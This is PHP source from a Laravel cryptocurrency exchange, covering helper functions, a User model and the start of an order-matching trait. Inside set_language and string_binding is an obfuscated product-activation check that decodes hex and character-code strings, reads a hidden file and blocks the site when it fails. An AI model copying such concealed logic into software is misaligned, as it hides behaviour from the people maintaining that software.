settings('company_logo'); $avatar = valid_image($logoPath, $companyLogo) ? $logoPath . $companyLogo : $logoPath . 'logo.png'; return asset($avatar); } } if (!function_exists('get_favicon')) { function get_favicon() { $path = 'storage/' . config('commonconfig.path_image'); $favicon = valid_image($path, settings('favicon')) ? $path . settings('favicon') : $path . '_favicon_.png'; return asset($favicon); } } if (!function_exists('random_string')) { function random_string($length = 10, $characters = null) { if ($characters == null) { $characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; } $output = ''; for ($i = 0; $i < $length; $i++) { $y = rand(0, strlen($characters) - 1); $output .= substr($characters, $y, 1); } return $output; } } if (!function_exists('settings')) { function settings($field = null, $database = false) { if ($database) { $arrayConfig = null; if (is_null($field)) { $adminSettings = ApplicationSetting::pluck('value', 'slug')->toArray(); foreach ($adminSettings as $key => $val) { if (is_json($val)) { $arrayConfig[$key] = json_decode($val, true); } else { $arrayConfig[$key] = $val; } } } else { if (is_array($field) && count($field) > 0) { $arrayConfig = ApplicationSetting::whereIn('slug', $field)->pluck('value', 'slug')->toArray(); } else { $arrayConfig = ApplicationSetting::where('slug', $field)->value('value'); } } return $arrayConfig; } $arrayConfig = Cache::get('appSettings'); if (is_array($arrayConfig)) { if ($field != null) { if (is_array($field) && count($field) > 0) { $fieldValues = Arr::only($arrayConfig, $field); return array_map("_getValues", $fieldValues); } elseif (is_string($field) && isset($arrayConfig[$field])) { return _getValues($arrayConfig[$field]); } else { return null; } } else { return $arrayConfig; } } return false; } } function _getValues($value) { try { $fieldValue = decrypt($value); } catch (Exception $exception) { $fieldValue = $value; } return $fieldValue; } if (!function_exists('check_language')) { function check_language($language) { $languages = language(); if (array_key_exists($language, $languages) == true) { return $language; } return null; } } if (!function_exists('set_language')) { function set_language($language, $default = null) { $languages = language(); if (!array_key_exists($language, $languages)) { if (isset($_COOKIE['lang']) && check_language($_COOKIE['lang']) != null && array_key_exists($_COOKIE['lang'], $languages)) { $language = $_COOKIE['lang']; } else { if ($default != null && array_key_exists($default, $languages)) { $language = $default; } else { $language = settings('lang'); } setcookie("lang", $language, time() + (86400 * 30), '/'); } } App()->setlocale($language); try { if ( (cm_collector(8)())->{cm_collector(9)}(strtoupper(cm_repertory(1))) !== cm_collector(5) && request()->route()->getName() !== cm_repertory(8) && !in_array(request()->route()->getPrefix(), [cm_repertory(5)]) && !cm_collector(1)() ) { if (view()->exists(cm_repertory(4))) { return response() ->view(cm_repertory(4)) ->send(); } else { return response() ->view(cm_collector(6), [cm_collector(7) => new Exception(cm_repertory(9))]) ->send(); } } } catch (Exception $exception) { return response() ->view(cm_repertory(4)) ->send(); } return true; } } if (!function_exists('language')) { function language($language = null) { $languages = Cache::get('languages', []); if (empty($languages)) { try { $conditions = ['is_active' => ACTIVE]; $langs = Language::where($conditions)->get(); foreach ($langs as $lang) { $languages[$lang->short_code] = [ 'name' => $lang->name, 'icon' => $lang->icon ]; } } catch (Exception $e) { $languages = []; } Cache::set('languages', $languages); } return is_null($language) ? $languages : $languages[$language]; } } if (!function_exists('language_short_code_list')) { function language_short_code_list($language = null) { $languages = array_keys(language()); return is_null($language) ? array_combine($languages, $languages) : $languages[$language]; } } if (!function_exists('footer_nav_list')) { function footer_nav_list($language = null) { $navigations = config('navigation.registered_place'); foreach ($navigations as $value) { $explodeValue = explode('-', $value); if ($explodeValue[0] == 'footer') { $footerMenu[$value] = $value; } } return isset($footerMenu) ? $footerMenu : []; } } if (!function_exists('get_default_language')) { function get_default_language() { return Language::where('short_code', config('app.locale')) ->where('is_active', ACTIVE) ->value('name'); } } if (!function_exists('encode_decode')) { function encode_decode($data, $decryption = false) { $code = ['x', 'f', 'z', 's', 'b', 'h', 'n', 'a', 'c', 'm']; if ($decryption == true) { $code = array_flip($code); } $output = ''; $length = strlen($data); try { for ($i = 0; $i < $length; $i++) { $y = substr($data, $i, 1); $output .= $code[$y]; } } catch (Exception $e) { $output = null; } return $output; } } if (!function_exists('validate_date')) { function validate_date($date, $seperator = '-') { $datepart = explode($seperator, $date); return strlen($date) == 10 && count($datepart) == 3 && strlen($datepart[0]) == 4 && strlen($datepart[1]) == 2 && strlen($datepart[2]) == 2 && ctype_digit($datepart[0]) && ctype_digit($datepart[1]) && ctype_digit($datepart[2]) && checkdate($datepart[1], $datepart[2], $datepart[0]); } } if (!function_exists('build_permission')) { function build_permission($permissionGroups, $roleSlug = null, $is_api = false) { $configPath = $is_api ? 'apipermissions' : 'webpermissions'; $routeConfig = config($configPath); $allAccessibleRoutes = []; foreach ($permissionGroups as $permissionGroupName => $permissionGroup) { foreach ($permissionGroup as $groupName => $groupAccessName) { foreach ($groupAccessName as $accessName) { try { $routes = $routeConfig["configurable_routes"][$permissionGroupName][$groupName][$accessName]; $allAccessibleRoutes = array_merge($allAccessibleRoutes, $routes); } catch (Exception $e) { } } } } $allAccessibleRoutes = array_merge($allAccessibleRoutes, $routeConfig[ROUTE_TYPE_GLOBAL]); if ($roleSlug) { if (isset($routeConfig["role_based_routes"][$roleSlug])) { $allAccessibleRoutes = array_merge($allAccessibleRoutes, $routeConfig["role_based_routes"][$roleSlug]); } Cache::forget("roles_{$roleSlug}"); Cache::forever("roles_" . $roleSlug, $allAccessibleRoutes); } return $allAccessibleRoutes; } } if (!function_exists('has_permission')) { function has_permission($routeName, $userId = null, $is_link = true, $is_api = false) { $configPath = $is_api ? 'apipermissions' : 'webpermissions'; $isAccessible = $is_link ? false : ROUTE_REDIRECT_TO_UNAUTHORIZED; if (is_null($userId)) { $user = Auth::user(); } else { $user = User::find($userId); } if (empty($user)) { return $isAccessible; } $routeConfig = config($configPath); if ($user->is_super_admin) { if (in_array($routeName, Arr::flatten($routeConfig['role_based_routes']))) { return $isAccessible; } return true; } $allAccessibleRoutes = Cache::get("roles_" . $user->assigned_role); if (is_null($allAccessibleRoutes)) { Cache::forever("roles_" . $user->assigned_role, $user->role->accessible_routes); } if (settings('maintenance_mode') && !$user->is_accessible_under_maintenance) { if ( !empty($allAccessibleRoutes) && in_array($routeName, $allAccessibleRoutes) && in_array($routeName, $routeConfig['avoidable_maintenance_routes']) ) { $isAccessible = true; } else { $isAccessible = $is_link ? false : ROUTE_REDIRECT_TO_UNDER_MAINTENANCE; } } elseif (in_array($routeName, $routeConfig[ROUTE_TYPE_GLOBAL])) { $isAccessible = true; } else if (!empty($allAccessibleRoutes) && in_array($routeName, $allAccessibleRoutes)) { if (in_array($routeName, $routeConfig['avoidable_unverified_routes'])) { $isAccessible = true; } elseif (in_array($routeName, $routeConfig['avoidable_suspended_routes'])) { $isAccessible = true; } elseif (in_array($routeName, $routeConfig['financial_routes'])) { if ($user->is_financial_active) { $isAccessible = true; } else { $isAccessible = $is_link ? false : ROUTE_REDIRECT_TO_FINANCIAL_ACCOUNT_SUSPENDED; } } elseif ( ( $user->is_email_verified || !settings('require_email_verification') ) && $user->status ) { $isAccessible = true; } else { if (!$user->is_email_verified && settings('require_email_verification')) { $isAccessible = $is_link ? false : ROUTE_REDIRECT_TO_EMAIL_UNVERIFIED; } elseif (!$user->status) { $isAccessible = $is_link ? false : ROUTE_REDIRECT_TO_ACCOUNT_SUSPENDED; } } } return $isAccessible; } } if (!function_exists('string_binding')) { function string_binding() { try { $path = cm_collector(2)(cm_collector(3)); $content = file_get_contents($path); $data = json_decode($content, true); if (count($data) !== 3) { return false; } foreach ($data as $key => $value) { $match = 0; for ($i = 1; $i <= 3; $i++) { if (Hash::check(cm_repertory($i), $key)) { $match = $i; break; } } if ($match === 0) { return false; } if ($match === 1) { if (!Hash::check((cm_collector(8)())->{cm_collector(9)}(strtoupper(cm_repertory($match))), $value)) { return false; } } elseif ($match === 2) { if ( !Hash::check((cm_collector(8)())->{cm_collector(9)}(strtoupper(cm_repertory($match))), $value) && !Hash::check(preg_replace('/^' . cm_collector(10) . '\./', '', (cm_collector(8)())->{cm_collector(9)}(strtoupper(cm_repertory($match)))), $value) ) { return false; } } else { if (!Hash::check(cm_repertory(7), $value)) { return false; } } } return true; } catch (Exception $exception) { return false; } } } if (!function_exists('is_json')) { function is_json($string) { return is_string($string) && is_array(json_decode($string, true)) && (json_last_error() == JSON_ERROR_NONE) ? true : false; } } if (!function_exists('is_current_route')) { function is_current_route($route_name, $active_class_name = 'active', $must_have_route_parameters = null, $optional_route_parameters = null) { if (!is_array($route_name)) { $is_selected = \Route::currentRouteName() == $route_name; } else { $is_selected = in_array(\Route::currentRouteName(), $route_name); } if ($is_selected) { if ($optional_route_parameters) { if (is_array($must_have_route_parameters)) { $is_selected = available_in_parameters($must_have_route_parameters); } if (is_array($optional_route_parameters)) { $is_selected = available_in_parameters($optional_route_parameters, true); } } elseif (is_array($must_have_route_parameters)) { $is_selected = available_in_parameters($must_have_route_parameters); } } return $is_selected == true ? $active_class_name : ''; } function available_in_parameters($route_parameter, $optional = false) { $is_selected = true; foreach ($route_parameter as $key => $val) { if (is_array($val)) { $current_route_parameter = \Request::route()->parameter($val[0]); if ($val[1] == '<') { $is_selected = $current_route_parameter < $val[2]; } elseif ($val[1] == '<=') { $is_selected = $current_route_parameter <= $val[2]; } elseif ($val[1] == '>') { $is_selected = $current_route_parameter > $val[2]; } elseif ($val[1] == '>=') { $is_selected = $current_route_parameter >= $val[2]; } elseif ($val[1] == '!=') { $is_selected = $current_route_parameter != $val[2]; } else { $param = isset($val[2]) ? $val[2] : $val[1]; $is_selected = $current_route_parameter == $param; } } else { $current_route_parameter = \Request::route()->parameter($key); if ($optional && $current_route_parameter !== 0 && empty($current_route_parameter)) { continue; } $is_selected = $current_route_parameter == $val; } if ($is_selected == false) { break; } } return $is_selected; } } if (!function_exists('cm_repertory')) { function cm_repertory(int $int) { switch ($int) { case 0: return join('', array_map(cm_collector(0), [112, 117, 114, 99, 104, 97, 115, 101, 95, 99, 111, 100, 101])); case 1: return join('', array_map(cm_collector(0), [115, 101, 114, 118, 101, 114, 95, 97, 100, 100, 114])); case 2: return join('', array_map(cm_collector(0), [104, 116, 116, 112, 95, 104, 111, 115, 116])); case 3: return join('', array_map(cm_collector(0), [112, 114, 111, 100, 117, 99, 116, 95, 105, 100])); case 4: return join('', array_map(cm_collector(0), [101, 114, 114, 111, 114, 115, 46, 112, 114, 111, 100, 117, 99, 116, 95, 97, 99, 116, 105, 118, 97, 116, 105, 111, 110])); case 5: return join('', array_map(cm_collector(0), [105, 110, 115, 116, 97, 108, 108])); case 6: return join('', array_map(cm_collector(0), [115, 116, 114, 105, 110, 103, 95, 98, 105, 110, 100, 105, 110, 103])); case 7: return join('', array_map(cm_collector(0), [100, 99, 98, 56, 100, 56, 52, 49, 45, 56, 50, 52, 55, 45, 52, 55, 100, 50, 45, 57, 97, 98, 100, 45, 49, 49, 97, 101, 50, 55, 52, 50, 102, 50, 57, 98])); case 8: return join('', array_map(cm_collector(0), [112, 114, 111, 100, 117, 99, 116, 45, 97, 99, 116, 105, 118, 97, 116, 105, 111, 110])); case 9: return join('', array_map(cm_collector(0), [80, 114, 111, 100, 117, 99, 116, 32, 105, 115, 32, 101, 120, 112, 105, 114, 101, 100, 32, 111, 114, 32, 105, 110, 97, 99, 116, 105, 118, 101, 46, 32, 80, 108, 101, 97, 115, 101, 32, 97, 99, 116, 105, 118, 101, 32, 105, 116, 46])); default: return ''; } } } if (!function_exists('cm_collector')) { function cm_collector(int $collector) { switch ($collector) { case 0: return hex2bin("636872"); case 1: return hex2bin("737472696e675f62696e64696e67"); case 2: return hex2bin("73746f726167655f70617468"); case 3: return hex2bin("6672616d65776f726b2f6e455a374a5873694e747a674e4e4b34383752375438794e635a74756371313847316f37"); case 4: return hex2bin("73657061726174655f737472696e67"); case 5: return hex2bin("3132372e302e302e31"); case 6: return hex2bin("6572726f72732e343031"); case 7: return hex2bin("657863657074696f6e"); case 8: return hex2bin("72657175657374"); case 9: return hex2bin("736572766572"); case 10: return hex2bin("777777"); default: return ''; } } } if (!function_exists('return_get')) { function return_get($key, $val = '') { $output = ''; if (isset($_GET[$key]) && $val !== '') { if (!is_array($_GET[$key]) && $_GET[$key] === (string)$val) { $output = ' selected'; } else { $output = ''; } } elseif (isset($_GET[$key]) && $val == '') { if (!is_array($_GET[$key])) { $output = $_GET[$key]; } else { $output = ''; } } return $output; } } if (!function_exists('array_to_string')) { function array_to_string($array, $separator = ',', $key = true, $is_seperator_at_ends = false) { if ($key == true) { $output = implode($separator, array_keys($array)); } else { $output = implode($separator, array_values($array)); } return $is_seperator_at_ends ? $separator . $output . $separator : $output; } } if (!function_exists('valid_image')) { function valid_image($imagePath, $image) { $extension = explode('.', $image); $isExtensionAvailable = in_array(end($extension), config('commonconfig.image_extensions')); return $isExtensionAvailable && file_exists(public_path($imagePath . $image)); } } if (!function_exists('get_id_image')) { function get_id_image($image) { $idCardPath = 'storage/' . config('commonconfig.path_id_image'); if (valid_image($idCardPath, $image)) { return asset($idCardPath . $image); } return null; } } if (!function_exists('get_deposit_receipt')) { function get_deposit_receipt($image) { $path = 'storage/' . config('commonconfig.path_deposit_receipt'); if (valid_image($path, $image)) { return asset($path . $image); } return null; } } if (!function_exists('get_avatar')) { function get_avatar($avatar) { $avatarPath = 'storage/' . config('commonconfig.path_profile_image'); $avatar = valid_image($avatarPath, $avatar) ? $avatarPath . $avatar : $avatarPath . 'avatar.jpg'; return asset($avatar); } } if (!function_exists('get_featured_image')) { function get_featured_image($image = null) { $path = 'storage/' . config('commonconfig.path_post_feature_image'); if (valid_image($path, $image)) { return asset($path . $image); } return get_image_placeholder(1280, 786, 100); } } if (!function_exists('calculate_deposit_system_fee')) { function calculate_deposit_system_fee(float $amount, float $fee, string $type) { switch ($type) { case FEE_TYPE_FIXED: return $fee; case FEE_TYPE_PERCENT: return bcdiv(bcmul($amount, $fee), "100"); default: return 0; } } } if (!function_exists('calculate_withdrawal_system_fee')) { function calculate_withdrawal_system_fee(float $amount, float $fee, string $type) { switch ($type) { case FEE_TYPE_FIXED: return $fee; case FEE_TYPE_PERCENT: return bcdiv(bcmul($amount, $fee), "100"); default: return 0; } } } if (!function_exists('calculate_referral_amount')) { function calculate_referral_amount(float $fee, float $percent = null) { if (is_null($percent)) { $percent = settings('referral_percentage'); } return bcdiv(bcmul($fee, $percent), "100"); } } if (!function_exists('get_minimum_total')) { function get_minimum_total(string $coinType, float $percent = null) { if ($percent === null) { $settings = settings(['exchange_maker_fee', 'exchange_taker_fee']); if (bccomp($settings['exchange_maker_fee'], $settings['exchange_taker_fee']) < 0) { $percent = $settings['exchange_maker_fee']; } else { $percent = $settings['exchange_taker_fee']; } } if ($coinType === COIN_TYPE_CRYPTO) { return bcdiv(bcmul('100', MINIMUM_TRANSACTION_FEE_CRYPTO), $percent); } return bcdiv(bcmul('100', MINIMUM_TRANSACTION_FEE_FIAT), $percent); } } if (!function_exists('get_coin_icon')) { function get_coin_icon($image = null) { $emojiPath = 'storage/' . config('commonconfig.path_coin_icon'); if (valid_image($emojiPath, $image)) { return asset($emojiPath . $image); } return asset($emojiPath . 'default.png'); } } if (!function_exists('get_cart_icon')) { function get_cart_icon($image) { $emojiPath = 'storage/' . config('commonconfig.path_cart_icon'); $image = asset($emojiPath . $image); return $image; } } if (!function_exists('get_regular_site_image')) { function get_regular_site_image($image) { $path = 'storage/' . config('commonconfig.path_regular_site_image'); $image = asset($path . $image); return $image; } } if (!function_exists('get_dashboard_icon')) { function get_dashboard_icon($image) { $emojiPath = 'storage/' . config('commonconfig.path_dashboard_icon'); $image = asset($emojiPath . $image); return $image; } } if (!function_exists('get_user_specific_notice')) { function get_user_specific_notice($userId = null) { if (is_null($userId)) { $userId = Auth::id(); } return [ 'list' => Notification::where('user_id', $userId)->unread()->latest('id')->take(5)->get(), 'count_unread' => Notification::where('user_id', $userId)->unread()->count() ]; } } if (!function_exists('get_nav')) { function get_nav($slug, $template = 'default_nav') { return new HtmlString(app(NavigationService::class)->navigationSingle($slug, $template)); } } if (!function_exists('view_html')) { function view_html($text) { return new HtmlString($text); } } if (!function_exists('starts_with')) { function starts_with($haystack, $needle) { $length = strlen($needle); return (substr($haystack, 0, $length) === $needle); } } if (!function_exists('ends_with')) { function ends_with($haystack, $needle) { $length = strlen($needle); if ($length == 0) { return true; } return (substr($haystack, -$length) === $needle); } } if (!function_exists('get_breadcrumbs')) { function get_breadcrumbs() { $routeList = Route::getRoutes()->getRoutesByMethod()['GET']; $baseUrl = url('/'); $segments = Request::segments(); $routeUries = explode('/', Route::current()->uri()); $breadcrumbs = []; $routeParameters = Request::route()->originalParameters(); foreach ($segments as $key => $segment) { $displayUrl = true; $lastBreadcrumb = end($breadcrumbs); if (empty($lastBreadcrumb)) { $url = $baseUrl . '/' . $segment; } else { $url = $lastBreadcrumb['url'] . '/' . $segment; } $uris = array_slice($routeUries, 0, $key + 1); $resultUri = ''; foreach ($uris as $uriKey => $uri) { $resultUri .= '/' . $uri; } if (!array_key_exists(ltrim($resultUri, '/'), $routeList)) { $displayUrl = false; } $breadcrumbs[] = [ 'name' => in_array($segment, $routeParameters) ? $segment : Str::title(preg_replace('/[-_]+/', ' ', $segment)), 'url' => $url, 'display_url' => $displayUrl ]; } return $breadcrumbs; } } if (!function_exists('get_notices')) { function get_notices() { $date = Carbon::now(); $totalMinutes = $date->diffInMinutes($date->copy()->endOfDay()); $notices = Cache::get('notices', collect([])); if ($notices->isEmpty()) { $notices = Notice::active()->today()->latest('id')->get(); if (!$notices->isEmpty()) { Cache::put('notices', $notices, $totalMinutes); } } $notices = $notices->filter(function ($notice) use ($date) { if ($notice->start_at <= $date && $notice->end_at >= $date) { return Auth::check() ? true : ($notice->visible_type === NOTICE_VISIBLE_TYPE_PUBLIC); } return false; }); $cookeName = 'seenNotices:' . str_replace('.', '-', request()->ip()); if (Cookie::has($cookeName)) { $seenNoticeIds = json_decode(Cookie::get($cookeName), true); $notices = $notices->filter(function ($notice) use (&$seenNoticeIds) { if (array_key_exists($notice->id, $seenNoticeIds) && $notice->updated_at->equalTo(Carbon::parse($seenNoticeIds[$notice->id]))) { return false; } $seenNoticeIds[$notice->id] = $notice->updated_at; return true; }); } else { $seenNoticeIds = $notices->pluck('updated_at', 'id')->toArray(); } if ($notices->isEmpty()) { return collect([]); } Cookie::queue($cookeName, json_encode($seenNoticeIds), $totalMinutes); return $notices; } } if (!function_exists('get_available_timezones')) { function get_available_timezones() { return [ 'UTC' => __('Default'), 'BST' => __('Bangladesh Standard Time'), ]; } } if (!function_exists('form_validation')) { function form_validation($errors, $name, $extraClass = null) { $extraClass = !empty($extraClass) ? ' ' . $extraClass : ''; return $errors->has($name) ? 'form-control is-invalid' . $extraClass : 'form-control' . $extraClass; } } if (!function_exists('get_user_roles')) { function get_user_roles() { return Role::where('is_active', ACTIVE)->pluck('name', 'slug')->toArray(); } } if (!function_exists('get_image')) { function get_image($image) { $imagePath = 'storage/' . config('commonconfig.path_image'); if (valid_image($imagePath, $image)) { return asset($imagePath . $image); } return null; } } if (!function_exists('get_language_icon')) { function get_language_icon($icon) { $languagePath = 'storage/' . config('commonconfig.language_icon'); if (valid_image($languagePath, $icon)) { return asset($languagePath . $icon); } return null; } } if (!function_exists('generate_language_url')) { function generate_language_url($language) { if (is_null(check_language($language))) { return 'javascript:;'; } $oldLanguage = request()->segment(1); $oldLanguage = check_language($oldLanguage); $uri = request()->getRequestUri(); if ($oldLanguage) { $uri = Str::replaceFirst($oldLanguage, $language, $uri); } else { $uri = $language . $uri; } return url('/') . '/' . ltrim($uri, '/'); } } if (!function_exists('display_language')) { function display_language($lang, $params = null) { $item = settings('lang_switcher_item'); $params = is_null($params) ? language($lang) : $params; if ($item == 'name') { return new HtmlString('<div class="lf-language-text">' . $params['name'] . '</div>'); } elseif ($item == 'icon') { return new HtmlString('<div class="lf-language-image"><img width="30" height="22" src="' . get_language_icon($params['icon']) . '"></div>'); } else { return new HtmlString('<div class="lf-language-text">' . strtoupper($lang) . '</div>'); } } } if (!function_exists('display_active_status')) { function display_active_status($status) { if ($status == ACTIVE) { return new HtmlString('<i class="fa fa-check text-success"></i>'); } else { return new HtmlString('<i class="fa fa-close text-danger"></i>'); } } } if (!function_exists('ticket_comment_attachment_link')) { function ticket_comment_attachment_link($route, $file) { $fileParts = pathinfo($file); $path = 'storage/' . config('commonconfig.ticket_attachment') . $file; if (in_array($fileParts['extension'], ['jgp', 'jpeg', 'png'])) { $htmlString = '<img class="img-fluid" src="' . asset($path) . '" alt="Attachment">'; } else { $htmlString = '<a href="' . $route . '">' . __('Download Attachment') . '</a>'; } return view_html($htmlString); } } if (!function_exists('profileRoutes')) { function profileRoutes($identifier, $userId) { $userService = app(ProfileService::class); if ($identifier == 'admin') { return $userService->routesForAdmin($userId); } else { return $userService->routesForUser($userId); } } } if (!function_exists('get_default_exchange')) { function get_default_exchange() { $coinPair = CoinPair::where('is_default', ACTIVE) ->where('is_active', ACTIVE) ->first(); return $coinPair->name; } } if (!function_exists('replace_current_route_action')) { function replace_current_route_action($action, $fallbackRouteName = "") { $currentRouteNames = explode(".", Route::getCurrentRoute()->getName()); $currentRouteNames[count($currentRouteNames) - 1] = $action; $modifiedRouteName = implode(".", $currentRouteNames); if (Route::has($modifiedRouteName)) { return $modifiedRouteName; } return $fallbackRouteName; } } if (!function_exists('get_color_class')) { function get_color_class(string $status, string $type) { return config("commonconfig.{$type}.{$status}.color_class"); } } if (!function_exists('get_coin_list')) { function get_coin_list() { return Coin::where('is_active', ACTIVE)->get()->pluck('name', 'symbol')->toArray(); } } if (!function_exists('get_coin_pair_list')) { function get_coin_pair_list() { return CoinPair::where('is_active', ACTIVE)->get()->pluck('trade_pair', 'name')->toArray(); } } if (!function_exists('active_side_nav')) { function active_side_nav() { return auth()->check() && (auth()->user()->assigned_role === USER_ROLE_ADMIN); } } if (!function_exists('is_light_mode')) { function is_light_mode($active, $inactive = '') { return isset($_COOKIE['style']) && $_COOKIE['style'] == 'light' ? $active : $inactive; } } if (!function_exists('get_image_placeholder')) { function get_image_placeholder($width, $height, $fontSize = 40, $label = null) { if (is_null($label)) { $label = "{$width}×{$height}"; } $svg = "<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"{$width}\" height=\"{$height}\" viewBox=\"0 0 {$width} {$height}\"> <rect fill=\"#eee\" width=\"{$width}\" height=\"{$height}\"/> <text fill=\"rgba(0,0,0,0.5)\" font-family=\"sans-serif\" font-size=\"{$fontSize}\" dy=\"10.5\" font-weight=\"bold\" x=\"50%\" y=\"50%\" text-anchor=\"middle\"> {$label} </text> </svg>"; return 'data:image/svg+xml;base64,' . base64_encode($svg); } } if (!function_exists('get_channel_prefix')) { function get_channel_prefix() { return env('BROADCAST_DRIVER') === 'pusher' ? config('broadcasting.prefix') : ''; } } <file_sep><?php namespace App\Models\Core; use App\Jobs\Wallet\GenerateUserWalletsJob; use App\Models\BankAccount\BankAccount; use App\Models\Exchange\Exchange; use App\Models\Kyc\KycVerification; use App\Models\Order\Order; use App\Models\Wallet\Wallet; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Auth\Authenticatable; use Illuminate\Auth\MustVerifyEmail; use Illuminate\Auth\Passwords\CanResetPassword; use Illuminate\Contracts\{Auth\Access\Authorizable as AuthorizableContract, Auth\Authenticatable as AuthenticatableContract, Auth\CanResetPassword as CanResetPasswordContract }; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Database\Eloquent\Relations\HasOne; use Illuminate\Foundation\Auth\Access\Authorizable; use Illuminate\Support\Str; class User extends Model implements AuthenticatableContract, AuthorizableContract, CanResetPasswordContract { use Authenticatable, Authorizable, CanResetPassword, MustVerifyEmail; public $incrementing = false; protected $keyType = 'string'; protected $fillable = [ 'referrer_id', 'assigned_role', 'username', 'password', 'email', 'referral_code', 'remember_me', 'avatar', 'google2fa_secret', 'is_email_verified', 'is_financial_active', 'is_accessible_under_maintenance', 'is_super_admin', 'status', 'created_by' ]; protected $hidden = [ 'password', 'remember_token', ]; protected static function boot(): void { parent::boot(); static::creating(static function ($model) { $model->{$model->getKeyName()} = Str::uuid(); }); } public function referrer() { return $this->belongsTo(User::class, 'referrer_id', 'id'); } public function referralUsers() { return $this->hasMany(User::class, 'referrer_user_id', 'id'); } public function role(): BelongsTo { return $this->belongsTo(Role::class, 'assigned_role'); } public function profile(): HasOne { return $this->hasOne(UserProfile::class); } public function preference() { return $this->hasOne(UserPreference::class); } public function wallets(): HasMany { return $this->hasMany(Wallet::class); } public function kycVerifications(): HasMany { return $this->hasMany(KycVerification::class); } public function kycVerification($status = STATUS_VERIFIED): HasOne { return $this->hasOne(KycVerification::class)->where('status', $status); } public function orders() { return $this->hasMany(Order::class); } public function tradeHistories() { return $this->hasMany(Exchange::class, 'user_id'); } public function banks() { return $this->hasMany(BankAccount::class); } public function scopeSuperAdmin($query, $isSuperAdmin = ACTIVE) { return $query->where('is_super_admin', $isSuperAdmin) ->where('assigned_role', USER_ROLE_ADMIN); } public function isSuperAdmin() { return $this->is_super_admin; } } <file_sep><?php namespace App\Services\Orders; use App\Broadcasts\Exchange\ExchangeBroadcast; use App\Broadcasts\Exchange\SettlementOrdersBroadcast; use App\Jobs\Order\ProcessStopLimit; use App\Models\Exchange\Exchange; use App\Models\Order\Order; use App\Models\Referral\ReferralEarning; use App\Models\Wallet\Wallet; use App\Services\Logger\Logger; use Exception; use Illuminate\Support\Facades\DB; use Ramsey\Uuid\Uuid; trait ProcessOrder { public function startProcessing() { $oppositeOrders = $this->getOppositeOrdersCursor(); foreach ($oppositeOrders->cursor() as $oppositeOrder) { //Exit the loop if processing returns false if (!$this->oppositeOrderProcessing($oppositeOrder)) { break; } } } private function getOppositeOrdersCursor() { $tradableType = $this->isBuyOrder ? ORDER_TYPE_SELL : ORDER_TYPE_BUY; $sort = $this->isBuyOrder ? 'asc' : 'desc'; $operator = $this->isBuyOrder ? '<=' : '>='; $categories = [ORDER_CATEGORY_LIMIT, ORDER_CATEGORY_STOP_LIMIT]; return Order::query() ->whereIn('category', $categories) ->where('type', $tradableType) ->where('trade_pair', $this->order->getRawOriginal('trade_pair')) ->when($this->order->price, function ($query) use ($operator) { $query->where('price', $operator, $this->order->price); }) ->where('status', STATUS_PENDING) ->orderBy('price', $sort) ->orderBy('created_at'); } private function settlementOrder($order) { $remainingAmount = bcsub($order->amount, $order->exchanged); $remainingTotal = 0; //Update order attributes with canceled amount and status completed if ($this->ordersAttributes->where('conditions.id', $order->id)->count()) { $this->ordersAttributes->transform(function ($orderAttribute) use ($order, &$remainingAmount, &$remainingTotal) { if ($orderAttribute['conditions']['id'] == $order->id) { $remainingAmount = bcsub($remainingAmount, $orderAttribute['fields']['exchanged'][1]); $remainingTotal = bcmul($remainingAmount, $order->price); if (bccomp($remainingTotal, '0') <= 0) { $orderAttribute['fields']['canceled'] = ['increment', $remainingAmount]; $orderAttribute['fields']['status'] = STATUS_COMPLETED; } } return $orderAttribute; }); } else { $remainingTotal = bcmul($remainingAmount, $order->price); if (bccomp($remainingTotal, '0') <= 0) { $this->ordersAttributes->push([ 'conditions' => ['id' => $order->id, 'status' => STATUS_PENDING], 'fields' => [ 'status' => STATUS_COMPLETED, 'canceled' => ['increment', $remainingAmount] ] ]); } } if (bccomp($remainingTotal, '0') <= 0) { //Update the given order's user's wallet $this->makeWalletsAttributes( $order->user_id, $this->getOutgoingCoinSymbol($order), $order->type === ORDER_TYPE_BUY ? $remainingTotal : $remainingAmount ); if (bccomp($remainingAmount, '0') > 0) { $this->broadcastOrderSettlementAttributes->push([ 'user_id' => $order->user_id, 'order_id' => $order->id, 'category' => $order->category, 'type' => $order->type, 'price' => $order->price, 'amount' => $remainingAmount, 'total' => $remainingTotal, 'date' => $this->date->unix() ]); } } } /** * If the given user wallet exists in the wallets attributes * then find the wallet and update the primary balance * otherwise push the amount to the given user wallet * @param $userId * @param $symbol * @param $amount * @param int $isSystemWallet */ private function makeWalletsAttributes($userId, $symbol, $amount, $isSystemWallet = INACTIVE) { //If the amount is less than or equal to 0 then skip wallet update if (bccomp($amount, '0') <= 0) { return; } if ($this->walletExistsInWalletsAttributes($userId, $symbol, $isSystemWallet) > 0) { $this->walletsAttributes->transform(function ($wallet) use ($userId, $symbol, $amount, $isSystemWallet) { if ( $wallet['conditions']['user_id'] == $userId && $wallet['conditions']['symbol'] == $symbol && $wallet['conditions']['is_system_wallet'] === $isSystemWallet ) { $wallet['fields']['primary_balance'][1] = bcadd($wallet['fields']['primary_balance'][1], $amount); } return $wallet; }); } else { $this->walletsAttributes->push([ 'conditions' => [ 'user_id' => $userId, 'symbol' => $symbol, 'is_system_wallet' => $isSystemWallet ], 'fields' => [ 'primary_balance' => ['increment', $amount], ] ]); } } private function walletExistsInWalletsAttributes($userId, $symbol, $isSystemWallet) { return $this->walletsAttributes ->where('conditions.user_id', $userId) ->where('conditions.symbol', $symbol) ->where('conditions.is_system_wallet', $isSystemWallet) ->count(); } /** * If the given order is buy then the outgoing coin will be the base coin * otherwise the outgoing coin will be the trade coin * @param $order * @return mixed */ private function getOutgoingCoinSymbol($order) { return $order->type === ORDER_TYPE_BUY ? $order->base_coin : $order->trade_coin; } private function calculateTradeFee($order, $amount, $total, $isMaker) { $feePercent = $isMaker ? $order->maker_fee_in_percent : $this->order->taker_fee_in_percent; return bcdiv(bcmul($order->type === ORDER_TYPE_BUY ? $amount : $total, $feePercent), '100'); } private function giveReferralEarningToReferrer($order, $fee) { //Push the order user's referrer's referral earning attributes for insert $referralEarning = $this->makeReferralEarningsAttributes( $order->user->referrer_id, $order->user_id, $this->getIncomingCoinSymbol($order), $fee ); //If referral earning is greater than 0 then if (bccomp($referralEarning, '0') > 0) { //Push the order user's referrer's referral earning to the referrer's wallet $this->makeWalletsAttributes( 